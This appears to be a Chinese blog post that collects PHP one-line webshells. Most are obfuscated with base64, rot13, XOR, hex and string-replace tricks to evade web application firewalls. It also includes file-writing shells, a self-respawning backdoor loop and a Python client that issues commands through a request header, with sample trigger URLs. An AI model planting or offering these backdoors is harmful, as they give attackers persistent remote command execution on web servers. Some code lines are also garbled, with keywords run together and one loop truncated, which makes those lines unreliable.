whoam1(QQ:2069698797)大佬早些年做的PHP一句话木马集合
在此记录下
@eval($_POST['cmd'])?>
assert($_POST[cmd]);?>
`$_GET[1]`;//
//?a=assert&b=phpinfo();
@$_GET[a](@$_GET[b]);
//?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};
?>
//?2=system POST:1=whoami
//2=assert 1=phpinfo();
($_=@$_GET[2]).@$_($_POST[1])//?2=assert 1
?>
//a=assert&b=phpinfo();
//a=system&b=ipconfig
@$_POST['a'](@$_POST['b']);
//a=assert
?>
//?a=system&b=dir
//?a=assert&b=phpinfo();
//?a=assert&b=eval($_POST['pass'])
//POST:
// a=assert&b=phpinfo();
// a=system&b=whoami
//GET:
// http://127.0.0.1/fuckdun/yjh_2.php?a=assert&b=phpinfo();
//phpinfo(); == fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29;
//生成 c.php
$_REQUEST['a']($_REQUEST['b']);
?>
$root=$_SERVER['DOCUMENT_ROOT'];
$shelladdr=$root.'/shell.php';
$shellcontent='';
file_put_contents($shelladdr,$shellcontent);
//http://127.0.0.1/write_shell.php?cmd=file_put_contents("a.txt","w");
//http://127.0.0.1/write_shell.php?cmd=fwrite(fopen("a.txt","w"),"aa");
//$a = @$_GET['cmd'];
//@eval($a);
?>
<script language="php">@eval($_POST['cmd']);</script>
$filename=$_GET['id'];
include($filename);
?>
if($_POST['token']=='xxoo'){
require'flag.png';//phpinfo();
}
$content=stripslashes($_POST[1]);
eval($content);
?>
${"func"}=substr(__FILE__,-10,-4);
${"config"}=@$_GET[config];
@$func($config);
${"function"}=substr(__FILE__,-15,-4);
${"config"}=assert;
$config($function);
//$func = @$_POST[cmd];
//assert($function);
//assert($_POST[cmd]);
//"shell" md5: 2591c98b70119fe624898b1e424b5e91
//substr(md5($_REQUEST['x']),28)=='6862'&&eval($_REQUEST['hihack']);
//var_dump(substr(md5(@$_GET['x']),0)=='2591c98b70119fe624898b1e424b5e91');
//substr(md5(@$_GET['x']),0)=='2591c98b70119fe624898b1e424b5e91'&&system('whoami');
substr(md5(@$_GET['x']),28)=='5e91'&&@eval($_POST['md5']);
?>
//${"function"}= substr(__FILE__, -14, -4);
$a=md5('ssss');
$b=substr($a,2,2)+37;
$s=$b+18;
$e=substr($a,-7,1);
$r=$s-1;
$t=$r+2;
$z=chr($b).chr($s).chr($s).$e.chr($r).chr($t);
$z($_GET['cmd']);
?>
/*
Tamper Data 修改Accept-Language:whoami / ipconfig
import requests
URL = 'http://127.0.0.1/fuckdun/php-webshells-master/accept_language.php'
while True:
command=raw_input("~$ ")
head = {'Accept-Language':command}
try:
req = requests.get(URL,headers=head)
print req.content
except Exception as e: print e
*/
//echo passthru(@$_GET['a']);
//echo getenv("HTTP_ACCEPT_LANGUAGE");
echopassthru(getenv("HTTP_ACCEPT_LANGUAGE"));
?>
classParse_Args{
publicfunctionapply_filters($key){
assert($key);
}
}
//?xxoo=phpinfo();
@extract($_REQUEST);
$reflectionMethod=newParse_Args();
$reflectionMethod->apply_filters($xxoo);
?>
//http://127.0.0.1/create_function.php?c=1;}phpinfo();/*
$id=@$_GET['c'];
$res='echo '.$id.'is'.$a.";";
$cf=create_function('$a',$res);
/*
function anonymous($a){
echo 1;}phpinfo();/*.'is'.$a;
//$id.'is'.$a;
}
anonymous($a);
*/
?>
$s=newReflectionFunction("assert");
@$s->invoke($_POST["cmd"]);
?>
item['wind']='assert';
$array[]=$item;
$array[0]['wind']($_POST['jssj'])
?>
$args=1;
$arr=array("n;}$_REQUEST[c];/*"=>"test");
$arr1=array_flip($arr);// array("test"=>"n;}$_REQUEST[c];/*");
//var_dump($arr1);die(); //array(1) { ["test"]=> string(15) "n;}phpinfo();/*" }
$arr2=$arr1[test];// n;}$_REQUEST[c];/*
//var_dump($arr2);die(); // string(15) "n;}phpinfo();/*"
create_function('$args',$arr2);// 1,n;}$_REQUEST[c];/
if($_GET[session]=='xxoo'){
@array_map($_GET['xx'],(array)base64_decode($_REQUEST['oo']));
exit();
}
//?session=xxoo&xx=assert
//post:oo=cGhwaW5mbygpOw==
?>
//http://127.0.0.1/fuckdun/yjh_10.php?_exit=cHJlZ19maWx0ZXI=
//POST: mcontent=ZXZhbCgkX1BPU1RbY10pOw==&c=phpinfo();
$ad='|';$ad.='.';$ad.='*|';$ad.='e';
$_clasc=base64_decode(@$_GET['_exit']);//base64_decode($_REQUEST['_exit']); ->preg_replace 或preg_filter
$arr=array(base64_decode(@$_POST['mcontent'])=>$ad,); //$arr = array('phpinfo()' => '|.*|e')
@array_walk($arr,$_clasc,''); //preg_replace('|.*|e',phpinfo(),'')
/*
//www=preg_replace&wtf=phpinfo();
$e = $_REQUEST['www'];
$arr = array(@$_POST['wtf'] => '|.*|e',);
@array_walk($arr, $e, '')
//http://127.0.0.1/fuckdun/yjh_12.php?_exit=cHJlZ19yZXBsYWNl==
//post: mcontent=ZXZhbCgkX1BPU1RbY10pOw==&c=phpinfo();
$Base = "base6"."4"."_decod"."e";
$_clasc = $Base(@$_REQUEST['_exit']);
$arr = array($Base(@$_POST['mcontent']) => '|.*|e',);
@array_walk($arr, $_clasc, '');
*/
?>
error_reporting(0);
set_time_limit(0);
$a=base64_decode("Y"."X"."N"."z"."Z"."X"."J"."0");
$a(@${"_P"."O"."S"."T"}[xw]);
?>
$gn="J3Nhb3Nhb";
$alq="ydidKiTisg";
$obk="IEBldimFsIC";
$lub=str_replace("q","","qsqtqrq_replqace");
$cqs="gkX1BPU1Rb";
$hox=$lub("v","","vbasev6v4_vdvevcovdve");
$trx=$lub("ci","","ciccircieciacitcie_cifciucinciccitiocin");
$ots=$trx('',$hox($lub("i","",$obk.$cqs.$gn.$alq)));$ots();
/*
$uf="snc3"; //pass is sqzr
$ka="IEBldmFbsK";
$pjt="CRfUE9TVF";
$vbl = str_replace("ti","","tistittirti_rtietipltiatice");
$iqw="F6ciddKTs=";
$bkf = $vbl("k", "", "kbakske6k4k_kdkekckokdke");
$sbp = $vbl("ctw","","ctwcctwrectwatctwectw_fctwuncctwtctwioctwn");
$mpy = $sbp('', $bkf($vbl("b", "", $ka.$pjt.$uf.$iqw)));
$mpy();
*/
/*
$mt="mFsKCleRfU";
$ojj="IEBleldle";
$hsa="E9TVFsnd2VuJ10p";
$fnx="Ow==";
$zk = str_replace("d","","sdtdrd_redpdldadcde");
$ef = $zk("z", "", "zbazsze64_zdzeczodze");
$dva = $zk("p","","pcprpepaptpe_fpupnpcptpipopn");
$zvm = $dva('', $ef($zk("le", "", $ojj.$mt.$hsa.$fnx)));
$zvm();
*/
?>
@preg_replace("/[copyright]/e",$_POST['c'],"error");?>
//[@eval(base64_decode($_POST[z0])):smirk:
@$a=$_POST['x'];
if(isset($a)){
@preg_replace("/\[(.*)\]/e",'\\1',base64_decode('W0BldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUW3owXSkpO10='));
}
?>
//eval(base64_decode($_POST[z0]))
//POST: gbtv=a&z0=cGhwaW5mbygpOw== phpinfo();
//gbtv=@eval_r($_POST[1])
if(@$_POST['gbtv']){
$_="b"/**/."ase64_decode";
preg_replace("/^/e",$_("ZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFt6MF0pKQ=="),0);
}
?>
JFIF
preg_replace("/[errorpage]/e",@str_rot13('@nffreg($_CBFG[cntr]);'),"saft");
?>
($b4dboy=$_POST['b4dboy'])&&@preg_replace('/ad/e','@'.str_rot13('riny').'($b4dboy)','add');?>
//?_=assert&__=eval($_POST['pass'])
$_="";
$_[+""]='';
$_="$_"."";
$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");
?>
${'_'.$_}['_'](${'_'.$_}['__']);?>
//function __lambda_func(){@eval($_POST['f']);}
$s="F9QivT1NUWyd";$v="QGivV2YivWwoJ";$j="mJ10pOw=iv=";
$re=str_replace("iv","","sivtr_ivrepivlaivce");
$ba=$re("nf","","bnfanfse6nf4_nfdecnfode");
$fun=$re("vf","","cvfreavfte_fvfunctvfion");
$vi=$fun("",$ba($re("iv","",$v.$s.$j)));$vi();?>
error_reporting(0);set_time_limit(0);
$GuTou=@$_POST["gutou"];
if($GuTou){
$GuTou=str_replace(array("\n","\t","\r"),"",$GuTou);
$cc="";for($i=0;$i<strlen($GuTou);$i+=2)
$cc.=urldecode("%".substr($GuTou,$i,2));
@eval($cc);
exit;
}
//Hex2phpinfo();gutou=706870696E666F28293B
//gutou=406576616C2028245F504F53545B2778275D293B&x=phpinfo();
//whoami:73797374656D2877686F616D69293B
/*
//http://127.0.0.1/222.php?cc=706870696E666F28293B 执行phpinfo()
//把phpinfo();转换成URL格式去掉%得706870696E666F28293B
//
//http://127.0.0.1/222.php?cc=406576616C2028245F504F53545B2778275D293B
//密码x
if(@$_REQUEST["cc"]){
$c=@$_REQUEST["cc"];
$c=str_replace(array("\n","\t","\r"),"",$c);
$buf="";for($i=0;$i
?>
@$_++;
$__=("#"^"|");
$__.=("."^"~");
$__.=("/"^"`");
$__.=("|"^"/");
$__.=("{"^"/");
${$__}[!$_](${$__}[$_]);//$_POST[0]($_POST[1]);0=assert&1=phpinfo();
?>
//360
${("#"^"|").("#"^"|")}=("!"^"`").("( "^"{").("("^"[").("~"^";").("|"^".").("*"^"~");
${("#"^"|").("#"^"|")}(@("-"^"H").("]"^"+").("["^":").(","^"@").("}"^"U").("e"^"A").("("^"w").("j"^":").("i"^"&").("#"^"p").(">"^"j").("!"^"z").("T"^"g").("e"^"S").("_"^"o").("?"^"b").("]"^"t"));
?>
//php version>=5.6 usort(...$_GET);//?1[]=1-1&1[]=eval($_GET[x])&2=assert&x=phpinfo();
usort($_GET,'asse'.'rt');//usort.php?1=1+1&2=eval($_GETT[x])&x=phpinfo();
?>
//str1
session_start();
define("Emmm","诡道");
foreach(array('_COOKIE','_POST','_GET')as$_request)
{
foreach($$_requestas$_key=>$_value)
{
$$_key= $_value;
}
}
@$userinfo['userinfo']=$username;
@$userinfo["password"]=$password;
@$_SESSION["userinfo"]=$userinfo;
$userinfo=$_SESSION["userinfo"];
eval('$title='.$str1.';');
?>
//http://127.0.0.1/fuckdun/yjh_4_2.php?0=system&1=whoami
//http://127.0.0.1/fuckdun/yjh_4_2.php?0=assert&1=phpinfo();
$_[]=@!+_;$__=@${_}>>$_;$_[]=$__;$_[]=@_;@$_[((++$__)+($__++))].=$_;
$_[]=++$__;$_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+$_[$__-$__]).($__+$__+$__)+$_[$__-$__];
$_[$__+$__]=($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__]);
$_[$__+$__].=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__]);
$_[$__+$__].=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__];
$_=$
$_[$__+$__];$_[@-_]($_[@!+_]);
?>
ignore_user_abort(true);
//error_reporting(0);
set_time_limit(0);
$k='$_POST["#"]';
$s=<<<EOF
{$k});?>
EOF;
while(true)
{
if(!file_exists("killme.php")){
file_put_contents("killme.php","$s");
}
ob_flush();
flush();
sleep(1);
ob_end_flush();
}
/*
');
}
?>
*/
//http://127.0.0.1/fuckdun/yjh_4_done.php?_=assert&__=phpinfo();
//http://127.0.0.1/fuckdun/yjh_4_done.php?_=assert&__=eval($_POST[1])
//http://127.0.0.1/fuckdun/yjh_4_done.php?_=system&__=whoami
$_="";
$_[+""]='';
@$_="$_"."";
$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");
?>
@${'_'.$_}['_'](@${'_'.$_}['__']);?>
记录下,后续学习